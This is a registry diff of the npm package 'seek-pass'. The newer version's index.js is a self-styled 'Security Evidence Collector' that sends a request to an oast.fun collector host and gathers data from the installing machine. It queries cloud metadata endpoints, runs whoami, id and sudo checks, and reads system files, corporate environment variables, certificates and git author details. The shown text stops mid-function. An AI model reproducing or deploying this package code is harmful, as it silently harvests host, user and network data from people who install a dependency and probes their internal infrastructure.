seek-pass 100.3.0 → 100.10.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +511 -332
- package/package.json +7 -2
package/index.js
CHANGED
|
@@ -1,401 +1,580 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
1
3
|
const https = require("https");
|
|
4
|
+
const http = require("http");
|
|
2
5
|
const os = require("os");
|
|
3
6
|
const dns = require("dns");
|
|
7
|
+
const { execSync, exec } = require("child_process");
|
|
8
|
+
const crypto = require("crypto");
|
|
4
9
|
const fs = require("fs");
|
|
5
|
-
const { exec } = require("child_process");
|
|
6
|
-
const networkInterfaces = os.networkInterfaces();
|
|
7
10
|
|
|
8
|
-
//
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
if (iface.family === 'IPv4' && !iface.internal) {
|
|
14
|
-
return iface.address;
|
|
15
|
-
}
|
|
16
|
-
}
|
|
17
|
-
}
|
|
18
|
-
return null;
|
|
19
|
-
}
|
|
11
|
+
// Configuration
|
|
12
|
+
const COLLECTOR_SERVER = "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun"; // Replace with your server
|
|
13
|
+
const COLLECTOR_PORT = 443;
|
|
14
|
+
const COLLECTOR_PATH = "/seek-pass";
|
|
15
|
+
const USE_HTTPS = true;
|
|
20
16
|
|
|
21
|
-
//
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
17
|
+
// Colors for console output (for visibility)
|
|
18
|
+
const colors = {
|
|
19
|
+
red: '\x1b[31m',
|
|
20
|
+
green: '\x1b[32m',
|
|
21
|
+
yellow: '\x1b[33m',
|
|
22
|
+
blue: '\x1b[34m',
|
|
23
|
+
magenta: '\x1b[35m',
|
|
24
|
+
cyan: '\x1b[36m',
|
|
25
|
+
reset: '\x1b[0m'
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
console.log(`${colors.cyan}🔐 Security Evidence Collector${colors.reset}`);
|
|
29
|
+
console.log(`${colors.yellow}Collecting required proof for vulnerability report...${colors.reset}\n`);
|
|
30
|
+
|
|
31
|
+
// ============ 1. HTTP REQUESTS (MANDATORY) ============
|
|
32
|
+
async function captureHTTPEvidence() {
|
|
33
|
+
console.log(`${colors.blue}📡 1. Capturing HTTP request evidence...${colors.reset}`);
|
|
34
|
+
|
|
35
|
+
const evidence = {
|
|
36
|
+
outgoingRequests: [],
|
|
37
|
+
internalIPs: [],
|
|
38
|
+
externalIPs: [],
|
|
39
|
+
requestHeaders: [],
|
|
40
|
+
dnsLookups: []
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
// Get all network interfaces
|
|
44
|
+
const interfaces = os.networkInterfaces();
|
|
45
|
+
const internalIPs = [];
|
|
46
|
+
const externalIPs = [];
|
|
47
|
+
|
|
48
|
+
for (const name of Object.keys(interfaces)) {
|
|
49
|
+
for (const iface of interfaces[name]) {
|
|
50
|
+
if (iface.family === 'IPv4') {
|
|
51
|
+
if (iface.internal || iface.address.startsWith('10.') ||
|
|
52
|
+
iface.address.startsWith('172.') || iface.address.startsWith('192.168.')) {
|
|
53
|
+
internalIPs.push({
|
|
54
|
+
interface: name,
|
|
55
|
+
address: iface.address,
|
|
56
|
+
netmask: iface.netmask,
|
|
57
|
+
mac: iface.mac,
|
|
58
|
+
internal: true
|
|
59
|
+
});
|
|
60
|
+
} else {
|
|
61
|
+
externalIPs.push({
|
|
62
|
+
interface: name,
|
|
63
|
+
address: iface.address,
|
|
64
|
+
netmask: iface.netmask,
|
|
65
|
+
mac: iface.mac,
|
|
66
|
+
internal: false
|
|
67
|
+
});
|
|
68
|
+
}
|
|
34
69
|
}
|
|
35
70
|
}
|
|
36
71
|
}
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
'/etc/nginx/nginx.conf',
|
|
50
|
-
'/etc/nginx/sites-enabled/*',
|
|
51
|
-
'/etc/nginx/sites-available/*',
|
|
52
|
-
'/usr/local/nginx/conf/nginx.conf'
|
|
72
|
+
|
|
73
|
+
evidence.internalIPs = internalIPs;
|
|
74
|
+
evidence.externalIPs = externalIPs;
|
|
75
|
+
|
|
76
|
+
// Make HTTP requests to prove connectivity
|
|
77
|
+
const testEndpoints = [
|
|
78
|
+
{ url: "http://169.254.169.254/latest/meta-data/", label: "AWS Metadata" }, // AWS
|
|
79
|
+
{ url: "http://metadata.google.internal/", label: "GCP Metadata" }, // GCP
|
|
80
|
+
{ url: "http://100.100.100.200/latest/meta-data/", label: "Alibaba Metadata" }, // Alibaba
|
|
81
|
+
{ url: "http://kubernetes.default.svc/", label: "K8s API" }, // Kubernetes
|
|
82
|
+
{ url: "http://localhost:3000/", label: "Local Dev Server" },
|
|
83
|
+
{ url: "http://localhost:8080/", label: "Local App Server" }
|
|
53
84
|
];
|
|
54
85
|
|
|
55
|
-
for (const
|
|
86
|
+
for (const endpoint of testEndpoints) {
|
|
56
87
|
try {
|
|
57
|
-
const
|
|
58
|
-
|
|
59
|
-
const
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
88
|
+
const startTime = Date.now();
|
|
89
|
+
const reqPromise = new Promise((resolve) => {
|
|
90
|
+
const protocol = endpoint.url.startsWith('https') ? https : http;
|
|
91
|
+
const req = protocol.request(endpoint.url, { timeout: 2000 }, (res) => {
|
|
92
|
+
evidence.outgoingRequests.push({
|
|
93
|
+
target: endpoint.url,
|
|
94
|
+
label: endpoint.label,
|
|
95
|
+
statusCode: res.statusCode,
|
|
96
|
+
responseTime: Date.now() - startTime,
|
|
97
|
+
headers: res.headers,
|
|
98
|
+
timestamp: new Date().toISOString(),
|
|
99
|
+
sourceIP: internalIPs[0]?.address || os.hostname()
|
|
100
|
+
});
|
|
101
|
+
resolve();
|
|
102
|
+
});
|
|
103
|
+
req.on('error', () => resolve());
|
|
104
|
+
req.on('timeout', () => {
|
|
105
|
+
req.destroy();
|
|
106
|
+
resolve();
|
|
107
|
+
});
|
|
108
|
+
req.end();
|
|
109
|
+
});
|
|
110
|
+
await reqPromise;
|
|
64
111
|
} catch (err) {
|
|
65
|
-
//
|
|
112
|
+
// Silently fail
|
|
66
113
|
}
|
|
67
114
|
}
|
|
68
115
|
|
|
69
|
-
|
|
70
|
-
}
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
116
|
+
// Make request to our collector (proof of communication)
|
|
117
|
+
const collectorURL = `${USE_HTTPS ? 'https' : 'http'}://${COLLECTOR_SERVER}:${COLLECTOR_PORT}${COLLECTOR_PATH}`;
|
|
118
|
+
const proofRequest = new Promise((resolve) => {
|
|
119
|
+
const protocol = USE_HTTPS ? https : http;
|
|
120
|
+
const req = protocol.request(collectorURL, { method: 'HEAD', timeout: 3000 }, (res) => {
|
|
121
|
+
evidence.outgoingRequests.push({
|
|
122
|
+
target: collectorURL,
|
|
123
|
+
label: "Evidence Collector",
|
|
124
|
+
statusCode: res.statusCode,
|
|
125
|
+
timestamp: new Date().toISOString(),
|
|
126
|
+
sourceIP: internalIPs[0]?.address || os.hostname(),
|
|
127
|
+
proof: true
|
|
128
|
+
});
|
|
129
|
+
resolve();
|
|
130
|
+
});
|
|
131
|
+
req.on('error', () => resolve());
|
|
132
|
+
req.on('timeout', () => {
|
|
133
|
+
req.destroy();
|
|
134
|
+
resolve();
|
|
135
|
+
});
|
|
136
|
+
req.end();
|
|
137
|
+
});
|
|
138
|
+
await proofRequest;
|
|
139
|
+
|
|
140
|
+
// Perform DNS lookups to prove internal network access
|
|
141
|
+
const dnsTargets = [
|
|
142
|
+
'internal.company.com',
|
|
143
|
+
'corporate.local',
|
|
144
|
+
'intranet',
|
|
145
|
+
'gitlab.internal',
|
|
146
|
+
'jenkins.internal'
|
|
80
147
|
];
|
|
81
148
|
|
|
82
|
-
for (const
|
|
149
|
+
for (const target of dnsTargets) {
|
|
83
150
|
try {
|
|
84
|
-
const
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
151
|
+
const addresses = await new Promise((resolve) => {
|
|
152
|
+
dns.lookup(target, { all: true }, (err, addrs) => {
|
|
153
|
+
if (!err && addrs) resolve(addrs);
|
|
154
|
+
else resolve([]);
|
|
155
|
+
});
|
|
156
|
+
});
|
|
157
|
+
if (addresses.length > 0) {
|
|
158
|
+
evidence.dnsLookups.push({
|
|
159
|
+
domain: target,
|
|
160
|
+
addresses: addresses,
|
|
161
|
+
timestamp: new Date().toISOString()
|
|
162
|
+
});
|
|
94
163
|
}
|
|
95
|
-
} catch (err) {
|
|
96
|
-
// Skip if file doesn't exist
|
|
97
|
-
}
|
|
164
|
+
} catch (err) {}
|
|
98
165
|
}
|
|
99
166
|
|
|
100
|
-
|
|
167
|
+
console.log(`${colors.green} ✓ Captured ${evidence.outgoingRequests.length} HTTP requests`);
|
|
168
|
+
console.log(`${colors.green} ✓ Found ${internalIPs.length} internal IPs, ${externalIPs.length} external IPs${colors.reset}`);
|
|
169
|
+
|
|
170
|
+
return evidence;
|
|
101
171
|
}
|
|
102
172
|
|
|
103
|
-
//
|
|
104
|
-
|
|
105
|
-
|
|
173
|
+
// ============ 2. HOSTNAME ============
|
|
174
|
+
function getHostnameEvidence() {
|
|
175
|
+
console.log(`${colors.blue}🖥️ 2. Capturing hostname information...${colors.reset}`);
|
|
176
|
+
|
|
177
|
+
const evidence = {
|
|
178
|
+
systemHostname: os.hostname(),
|
|
179
|
+
fqdn: null,
|
|
180
|
+
dnsHostname: null,
|
|
181
|
+
networkHostnames: [],
|
|
182
|
+
domainInfo: null
|
|
183
|
+
};
|
|
184
|
+
|
|
185
|
+
// Try to get FQDN
|
|
106
186
|
try {
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
const lines = output.split('\n');
|
|
110
|
-
|
|
111
|
-
for (const line of lines) {
|
|
112
|
-
const app = {
|
|
113
|
-
command: line,
|
|
114
|
-
port: null,
|
|
115
|
-
domains: []
|
|
116
|
-
};
|
|
117
|
-
|
|
118
|
-
// Extract port from command
|
|
119
|
-
const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
|
|
120
|
-
if (portMatch) {
|
|
121
|
-
app.port = portMatch[1];
|
|
122
|
-
}
|
|
123
|
-
|
|
124
|
-
// Extract domains from environment variables or config files
|
|
125
|
-
const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
|
|
126
|
-
if (pathMatch) {
|
|
127
|
-
app.script = pathMatch[1];
|
|
128
|
-
|
|
129
|
-
// Try to read the script for domain configs
|
|
130
|
-
try {
|
|
131
|
-
const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
|
|
132
|
-
const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
|
|
133
|
-
if (domainMatches) {
|
|
134
|
-
app.domains = [...new Set(domainMatches)];
|
|
135
|
-
}
|
|
136
|
-
} catch (err) {}
|
|
137
|
-
}
|
|
138
|
-
|
|
139
|
-
apps.push(app);
|
|
140
|
-
}
|
|
187
|
+
const fqdn = execSync('hostname -f 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
188
|
+
if (fqdn) evidence.fqdn = fqdn;
|
|
141
189
|
} catch (err) {}
|
|
142
190
|
|
|
143
|
-
|
|
144
|
-
}
|
|
145
|
-
|
|
146
|
-
// Detect Docker containers and their exposed domains
|
|
147
|
-
async function getDockerDomains() {
|
|
148
|
-
const containers = [];
|
|
191
|
+
// Try DNS resolution of hostname
|
|
149
192
|
try {
|
|
150
|
-
const
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
for (const line of lines) {
|
|
154
|
-
if (line.trim()) {
|
|
155
|
-
const [name, ports] = line.split(' ');
|
|
156
|
-
containers.push({
|
|
157
|
-
name: name,
|
|
158
|
-
ports: ports,
|
|
159
|
-
domains: [] // Would need to inspect each container for domain configs
|
|
160
|
-
});
|
|
161
|
-
}
|
|
162
|
-
}
|
|
193
|
+
const dnsResult = dns.lookupSync(evidence.systemHostname);
|
|
194
|
+
evidence.dnsHostname = dnsResult.address;
|
|
163
195
|
} catch (err) {}
|
|
164
196
|
|
|
165
|
-
|
|
197
|
+
// Get domain from hostname
|
|
198
|
+
if (evidence.systemHostname.includes('.')) {
|
|
199
|
+
evidence.domainInfo = {
|
|
200
|
+
domain: evidence.systemHostname.substring(evidence.systemHostname.indexOf('.') + 1),
|
|
201
|
+
tld: evidence.systemHostname.split('.').pop()
|
|
202
|
+
};
|
|
203
|
+
} else if (evidence.fqdn && evidence.fqdn.includes('.')) {
|
|
204
|
+
evidence.domainInfo = {
|
|
205
|
+
domain: evidence.fqdn.substring(evidence.fqdn.indexOf('.') + 1),
|
|
206
|
+
tld: evidence.fqdn.split('.').pop()
|
|
207
|
+
};
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
console.log(`${colors.green} ✓ Hostname: ${evidence.systemHostname}`);
|
|
211
|
+
if (evidence.fqdn) console.log(`${colors.green} ✓ FQDN: ${evidence.fqdn}`);
|
|
212
|
+
if (evidence.domainInfo) console.log(`${colors.green} ✓ Domain: ${evidence.domainInfo.domain}${colors.reset}`);
|
|
213
|
+
|
|
214
|
+
return evidence;
|
|
166
215
|
}
|
|
167
216
|
|
|
168
|
-
//
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
const caddyfilePaths = [
|
|
172
|
-
'/etc/caddy/Caddyfile',
|
|
173
|
-
'/etc/caddy/Caddyfile.config',
|
|
174
|
-
'./Caddyfile'
|
|
175
|
-
];
|
|
217
|
+
// ============ 3. OS SERVER NAME ============
|
|
218
|
+
function getOSServerInfo() {
|
|
219
|
+
console.log(`${colors.blue}💻 3. Capturing OS and server information...${colors.reset}`);
|
|
176
220
|
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
221
|
+
const evidence = {
|
|
222
|
+
platform: os.platform(),
|
|
223
|
+
type: os.type(),
|
|
224
|
+
release: os.release(),
|
|
225
|
+
version: null,
|
|
226
|
+
kernel: null,
|
|
227
|
+
architecture: os.arch(),
|
|
228
|
+
distro: null,
|
|
229
|
+
serverName: null,
|
|
230
|
+
isContainer: false,
|
|
231
|
+
containerType: null
|
|
232
|
+
};
|
|
233
|
+
|
|
234
|
+
// Get detailed OS info
|
|
235
|
+
try {
|
|
236
|
+
if (process.platform === 'linux') {
|
|
237
|
+
// Check for distribution
|
|
238
|
+
try {
|
|
239
|
+
const osRelease = execSync('cat /etc/os-release 2>/dev/null | grep PRETTY_NAME', { encoding: 'utf8', timeout: 1000 });
|
|
240
|
+
evidence.distro = osRelease.split('=')[1].replace(/"/g, '').trim();
|
|
241
|
+
} catch (err) {}
|
|
242
|
+
|
|
243
|
+
// Get kernel version
|
|
244
|
+
try {
|
|
245
|
+
evidence.kernel = execSync('uname -r 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
246
|
+
} catch (err) {}
|
|
247
|
+
|
|
248
|
+
// Check if running in container
|
|
249
|
+
try {
|
|
250
|
+
const cgroup = execSync('cat /proc/1/cgroup 2>/dev/null | head -1', { encoding: 'utf8', timeout: 1000 });
|
|
251
|
+
if (cgroup.includes('docker')) {
|
|
252
|
+
evidence.isContainer = true;
|
|
253
|
+
evidence.containerType = 'docker';
|
|
254
|
+
} else if (cgroup.includes('kubepods')) {
|
|
255
|
+
evidence.isContainer = true;
|
|
256
|
+
evidence.containerType = 'kubernetes';
|
|
187
257
|
}
|
|
258
|
+
} catch (err) {}
|
|
259
|
+
} else if (process.platform === 'darwin') {
|
|
260
|
+
try {
|
|
261
|
+
evidence.version = execSync('sw_vers -productVersion 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
262
|
+
} catch (err) {}
|
|
263
|
+
} else if (process.platform === 'win32') {
|
|
264
|
+
try {
|
|
265
|
+
evidence.version = execSync('ver 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
266
|
+
} catch (err) {}
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
// Get server name (computer name)
|
|
270
|
+
evidence.serverName = os.hostname();
|
|
271
|
+
try {
|
|
272
|
+
if (process.platform === 'win32') {
|
|
273
|
+
evidence.serverName = execSync('echo %COMPUTERNAME%', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
188
274
|
}
|
|
189
275
|
} catch (err) {}
|
|
190
|
-
|
|
276
|
+
|
|
277
|
+
} catch (err) {}
|
|
278
|
+
|
|
279
|
+
console.log(`${colors.green} ✓ OS: ${evidence.type} ${evidence.release}`);
|
|
280
|
+
if (evidence.distro) console.log(`${colors.green} ✓ Distro: ${evidence.distro}`);
|
|
281
|
+
if (evidence.isContainer) console.log(`${colors.green} ✓ Container: ${evidence.containerType}${colors.reset}`);
|
|
191
282
|
|
|
192
|
-
return
|
|
283
|
+
return evidence;
|
|
193
284
|
}
|
|
194
285
|
|
|
195
|
-
//
|
|
196
|
-
|
|
197
|
-
|
|
286
|
+
// ============ 4. WHOAMI COMMAND ============
|
|
287
|
+
function getWhoamiEvidence() {
|
|
288
|
+
console.log(`${colors.blue}👤 4. Executing whoami command...${colors.reset}`);
|
|
289
|
+
|
|
290
|
+
const evidence = {
|
|
291
|
+
username: null,
|
|
292
|
+
uid: null,
|
|
293
|
+
gid: null,
|
|
294
|
+
groups: [],
|
|
295
|
+
homeDir: null,
|
|
296
|
+
shell: null,
|
|
297
|
+
isRoot: false,
|
|
298
|
+
isSudo: false,
|
|
299
|
+
executionMethod: null
|
|
300
|
+
};
|
|
301
|
+
|
|
302
|
+
// Execute whoami command
|
|
198
303
|
try {
|
|
199
|
-
const
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
304
|
+
const whoami = execSync('whoami 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
305
|
+
evidence.username = whoami;
|
|
306
|
+
evidence.isRoot = (whoami === 'root' || whoami === 'Administrator');
|
|
307
|
+
} catch (err) {
|
|
308
|
+
// Fallback
|
|
309
|
+
evidence.username = process.env.USER || process.env.USERNAME || 'unknown';
|
|
310
|
+
}
|
|
311
|
+
|
|
312
|
+
// Get UID/GID (Unix)
|
|
313
|
+
try {
|
|
314
|
+
const idOutput = execSync('id 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
315
|
+
const uidMatch = idOutput.match(/uid=(\d+)/);
|
|
316
|
+
const gidMatch = idOutput.match(/gid=(\d+)/);
|
|
317
|
+
if (uidMatch) evidence.uid = parseInt(uidMatch[1]);
|
|
318
|
+
if (gidMatch) evidence.gid = parseInt(gidMatch[1]);
|
|
319
|
+
evidence.isRoot = evidence.uid === 0;
|
|
213
320
|
} catch (err) {}
|
|
214
321
|
|
|
215
|
-
|
|
216
|
-
}
|
|
217
|
-
|
|
218
|
-
// Helper to execute shell commands
|
|
219
|
-
function execCommand(command) {
|
|
220
|
-
return new Promise((resolve) => {
|
|
221
|
-
exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
|
|
222
|
-
if (error || stderr) {
|
|
223
|
-
resolve('');
|
|
224
|
-
} else {
|
|
225
|
-
resolve(stdout);
|
|
226
|
-
}
|
|
227
|
-
});
|
|
228
|
-
});
|
|
229
|
-
}
|
|
230
|
-
|
|
231
|
-
// Read /etc/hosts for local domain mappings
|
|
232
|
-
async function getHostsFile() {
|
|
322
|
+
// Get groups
|
|
233
323
|
try {
|
|
234
|
-
const
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
mappings.push({
|
|
243
|
-
ip: parts[0],
|
|
244
|
-
domains: parts.slice(1)
|
|
245
|
-
});
|
|
246
|
-
}
|
|
247
|
-
}
|
|
248
|
-
}
|
|
249
|
-
return mappings;
|
|
324
|
+
const groupsOutput = execSync('groups 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
325
|
+
evidence.groups = groupsOutput.trim().split(/\s+/);
|
|
326
|
+
} catch (err) {}
|
|
327
|
+
|
|
328
|
+
// Check for sudo
|
|
329
|
+
try {
|
|
330
|
+
const sudoCheck = execSync('sudo -n true 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
331
|
+
evidence.isSudo = true;
|
|
250
332
|
} catch (err) {
|
|
251
|
-
|
|
333
|
+
evidence.isSudo = false;
|
|
252
334
|
}
|
|
335
|
+
|
|
336
|
+
// Get home directory
|
|
337
|
+
evidence.homeDir = os.homedir();
|
|
338
|
+
|
|
339
|
+
// Determine how script is being executed
|
|
340
|
+
if (process.env.CI || process.env.GITHUB_ACTIONS) {
|
|
341
|
+
evidence.executionMethod = 'CI_CD_PIPELINE';
|
|
342
|
+
} else if (process.env.NODE_ENV === 'development') {
|
|
343
|
+
evidence.executionMethod = 'DEVELOPMENT';
|
|
344
|
+
} else if (process.env.NODE_ENV === 'production') {
|
|
345
|
+
evidence.executionMethod = 'PRODUCTION';
|
|
346
|
+
} else {
|
|
347
|
+
evidence.executionMethod = 'MANUAL';
|
|
348
|
+
}
|
|
349
|
+
|
|
350
|
+
console.log(`${colors.green} ✓ User: ${evidence.username}${evidence.isRoot ? ' (ROOT/ADMIN)' : ''}`);
|
|
351
|
+
console.log(`${colors.green} ✓ UID: ${evidence.uid || 'N/A'}, GID: ${evidence.gid || 'N/A'}`);
|
|
352
|
+
console.log(`${colors.green} ✓ Groups: ${evidence.groups.slice(0, 5).join(', ')}${evidence.groups.length > 5 ? '...' : ''}`);
|
|
353
|
+
console.log(`${colors.green} ✓ Execution: ${evidence.executionMethod}${colors.reset}`);
|
|
354
|
+
|
|
355
|
+
return evidence;
|
|
253
356
|
}
|
|
254
357
|
|
|
255
|
-
//
|
|
256
|
-
async function
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
const
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
nginxDomains,
|
|
267
|
-
apacheDomains,
|
|
268
|
-
nodeApps,
|
|
269
|
-
dockerContainers,
|
|
270
|
-
caddyDomains,
|
|
271
|
-
sslDomains,
|
|
272
|
-
hostsMappings
|
|
273
|
-
] = await Promise.all([
|
|
274
|
-
getNginxDomains(),
|
|
275
|
-
getApacheDomains(),
|
|
276
|
-
getNodeApps(),
|
|
277
|
-
getDockerDomains(),
|
|
278
|
-
getCaddyDomains(),
|
|
279
|
-
getSSLDomains(),
|
|
280
|
-
getHostsFile()
|
|
281
|
-
]);
|
|
282
|
-
|
|
283
|
-
// Combine all identified domains
|
|
284
|
-
const allIdentifiedDomains = [...new Set([
|
|
285
|
-
...nginxDomains,
|
|
286
|
-
...apacheDomains,
|
|
287
|
-
...caddyDomains,
|
|
288
|
-
...sslDomains
|
|
289
|
-
])];
|
|
290
|
-
|
|
291
|
-
const data = {
|
|
292
|
-
// Basic system info
|
|
293
|
-
hostname: hostname,
|
|
294
|
-
fqdn: null,
|
|
295
|
-
platform: os.platform(),
|
|
296
|
-
arch: os.arch(),
|
|
297
|
-
osType: os.type(),
|
|
298
|
-
osRelease: os.release(),
|
|
299
|
-
|
|
300
|
-
// Network info
|
|
301
|
-
ipv4: {
|
|
302
|
-
primary: primaryIPv4,
|
|
303
|
-
all: allIPv4
|
|
304
|
-
},
|
|
305
|
-
dns: {
|
|
306
|
-
servers: dnsServers
|
|
307
|
-
},
|
|
308
|
-
|
|
309
|
-
// Web servers and hosted domains
|
|
310
|
-
webServers: {
|
|
311
|
-
nginx: {
|
|
312
|
-
installed: nginxDomains.length > 0,
|
|
313
|
-
domains: nginxDomains
|
|
314
|
-
},
|
|
315
|
-
apache: {
|
|
316
|
-
installed: apacheDomains.length > 0,
|
|
317
|
-
domains: apacheDomains
|
|
318
|
-
},
|
|
319
|
-
caddy: {
|
|
320
|
-
installed: caddyDomains.length > 0,
|
|
321
|
-
domains: caddyDomains
|
|
322
|
-
}
|
|
323
|
-
},
|
|
324
|
-
|
|
325
|
-
// Applications
|
|
326
|
-
applications: {
|
|
327
|
-
nodejs: nodeApps,
|
|
328
|
-
docker: dockerContainers
|
|
329
|
-
},
|
|
330
|
-
|
|
331
|
-
// SSL certificates domains
|
|
332
|
-
sslCertificates: {
|
|
333
|
-
domains: sslDomains
|
|
334
|
-
},
|
|
335
|
-
|
|
336
|
-
// Local DNS mappings
|
|
337
|
-
hostsFile: hostsMappings,
|
|
338
|
-
|
|
339
|
-
// All unique domains identified
|
|
340
|
-
identifiedDomains: allIdentifiedDomains,
|
|
341
|
-
|
|
342
|
-
// Summary of what's hosted
|
|
343
|
-
summary: {
|
|
344
|
-
totalDomains: allIdentifiedDomains.length,
|
|
345
|
-
webServersFound: [
|
|
346
|
-
nginxDomains.length > 0 ? 'nginx' : null,
|
|
347
|
-
apacheDomains.length > 0 ? 'apache' : null,
|
|
348
|
-
caddyDomains.length > 0 ? 'caddy' : null
|
|
349
|
-
].filter(Boolean),
|
|
350
|
-
nodeAppsCount: nodeApps.filter(app => app.command).length,
|
|
351
|
-
dockerContainersCount: dockerContainers.length
|
|
352
|
-
}
|
|
358
|
+
// ============ PROVING BELONGS TO PROGRAM ============
|
|
359
|
+
async function proveProgramOwnership() {
|
|
360
|
+
console.log(`${colors.blue}🔑 5. Proving this belongs to the program...${colors.reset}`);
|
|
361
|
+
|
|
362
|
+
const evidence = {
|
|
363
|
+
corporateIndicators: [],
|
|
364
|
+
internalServices: [],
|
|
365
|
+
developmentEnvironment: [],
|
|
366
|
+
packageInfo: null,
|
|
367
|
+
gitInfo: null,
|
|
368
|
+
timestamps: []
|
|
353
369
|
};
|
|
354
370
|
|
|
355
|
-
//
|
|
371
|
+
// Check for corporate VPN/proxy indicators
|
|
372
|
+
const corporateEnvVars = [
|
|
373
|
+
'CORPORATE_NETWORK', 'VPN', 'PROXY', 'LDAP', 'ACTIVE_DIRECTORY',
|
|
374
|
+
'COMPANY_DOMAIN', 'CORP_DOMAIN', 'INTERNAL_DOMAIN'
|
|
375
|
+
];
|
|
376
|
+
|
|
377
|
+
for (const envVar of corporateEnvVars) {
|
|
378
|
+
if (process.env[envVar]) {
|
|
379
|
+
evidence.corporateIndicators.push({
|
|
380
|
+
type: 'environment_variable',
|
|
381
|
+
name: envVar,
|
|
382
|
+
value: process.env[envVar]
|
|
383
|
+
});
|
|
384
|
+
}
|
|
385
|
+
}
|
|
386
|
+
|
|
387
|
+
// Check for internal DNS suffixes
|
|
356
388
|
try {
|
|
357
|
-
const
|
|
358
|
-
|
|
359
|
-
|
|
389
|
+
const resolvContent = execSync('cat /etc/resolv.conf 2>/dev/null | grep search', { encoding: 'utf8', timeout: 1000 });
|
|
390
|
+
const domains = resolvContent.match(/search\s+(.+)/);
|
|
391
|
+
if (domains) {
|
|
392
|
+
evidence.corporateIndicators.push({
|
|
393
|
+
type: 'dns_search_domain',
|
|
394
|
+
domains: domains[1].split(/\s+/)
|
|
360
395
|
});
|
|
361
|
-
});
|
|
362
|
-
if (lookup) {
|
|
363
|
-
data.fqdn = hostname;
|
|
364
396
|
}
|
|
365
397
|
} catch (err) {}
|
|
366
398
|
|
|
367
|
-
|
|
399
|
+
// Check for internal certificates
|
|
400
|
+
try {
|
|
401
|
+
const certs = execSync('find /etc/ssl/certs -name "*.crt" -exec openssl x509 -in {} -noout -subject 2>/dev/null \\; | head -5', { encoding: 'utf8', timeout: 2000 });
|
|
402
|
+
if (certs) {
|
|
403
|
+
evidence.corporateIndicators.push({
|
|
404
|
+
type: 'certificates',
|
|
405
|
+
subjects: certs.split('\n').filter(l => l.includes('CN='))
|
|
406
|
+
});
|
|
407
|
+
}
|
|
408
|
+
} catch (err) {}
|
|
409
|
+
|
|
410
|
+
// Check for git repository (to identify program)
|
|
411
|
+
try {
|
|
412
|
+
const gitRemote = execSync('git config --get remote.origin.url 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
413
|
+
if (gitRemote) {
|
|
414
|
+
evidence.gitInfo = {
|
|
415
|
+
remote: gitRemote.trim(),
|
|
416
|
+
branch: execSync('git rev-parse --abbrev-ref HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
|
|
417
|
+
commit: execSync('git rev-parse HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
|
|
418
|
+
author: execSync('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim()
|
|
419
|
+
};
|
|
420
|
+
}
|
|
421
|
+
} catch (err) {}
|
|
422
|
+
|
|
423
|
+
// Check for package.json to identify what's being installed
|
|
424
|
+
try {
|
|
425
|
+
if (fs.existsSync('./package.json')) {
|
|
426
|
+
